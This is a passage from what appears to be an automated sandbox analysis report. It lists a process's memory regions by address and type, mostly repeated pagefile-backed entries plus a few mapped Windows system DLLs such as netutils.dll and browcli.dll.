= "" Region: id = 800 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 801 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 802 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 803 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 804 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 805 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 806 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 807 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 808 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 809 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 810 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 811 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 812 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 813 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 814 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 816 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 817 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 818 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 819 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 820 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 821 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 822 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 823 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 824 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 825 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 826 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 827 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 828 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 829 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 830 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 831 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 832 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 833 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 834 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 835 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 836 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 837 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 838 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 839 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 840 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 841 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 842 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 843 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 844 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 845 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 846 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 847 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 848 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 849 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 850 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 851 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 852 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 853 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 854 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 855 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 856 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 857 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 858 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 859 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 860 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 861 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 862 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 863 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 864 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 865 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 866 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 867 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 868 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 869 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 870 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 883 start_va = 0x39d0000 end_va = 0x3a0ffff entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Region: id = 884 start_va = 0x3a70000 end_va = 0x3b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 885 start_va = 0x7ef86000 end_va = 0x7ef88fff entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 886 start_va = 0x73b30000 end_va = 0x73b3afff entry_point = 0x73b30000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 887 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 888 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 889 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 890 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 891 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 892 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 893 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 894 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 895 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 896 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 897 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 898 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 899 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 900 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 901 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 902 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 903 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 904 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 905 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 906 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 907 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 908 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 909 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 910 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 911 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 912 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 913 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 914 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 915 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 916 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 917 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 918 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 919 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 920 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 921 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 922 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 923 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 924 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 925 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 926 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 927 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 928 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 929 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 930 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 931 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 932 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 933 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 934 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 935 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 936 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 937 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 938 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 939 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 940 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 941 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 942 start_va = 0x73b20000 end_va = 0x73b28fff entry_point = 0x73b20000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 943 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 944 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 945 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 946 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 947 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 948 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 949 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 950 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 951 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 952 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 953 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 954 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 955 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 956 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 957 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 958 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 959 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 960 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 961 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 962 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 963 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 964 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 965 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 966 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 967 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 968 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 969 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 970 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 971 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 972 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 973 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 974 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 975 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 976 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 977 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 978 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 979 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 980 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 981 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 982 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 983 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 984 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 985 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 986 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 987 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 988 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 989 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 990 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 991 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 992 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 993 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 994 start_va = 0x2c70000 end_va = 0x2cf0fff entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 995 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 996 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 997 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 998 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 999 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1000 start_va = 0x73b10000 end_va = 0x73b1cfff entry_point = 0x73b10000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1001 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1002 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1003 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1004 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1005 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1006 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1007 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1008 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1009 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = 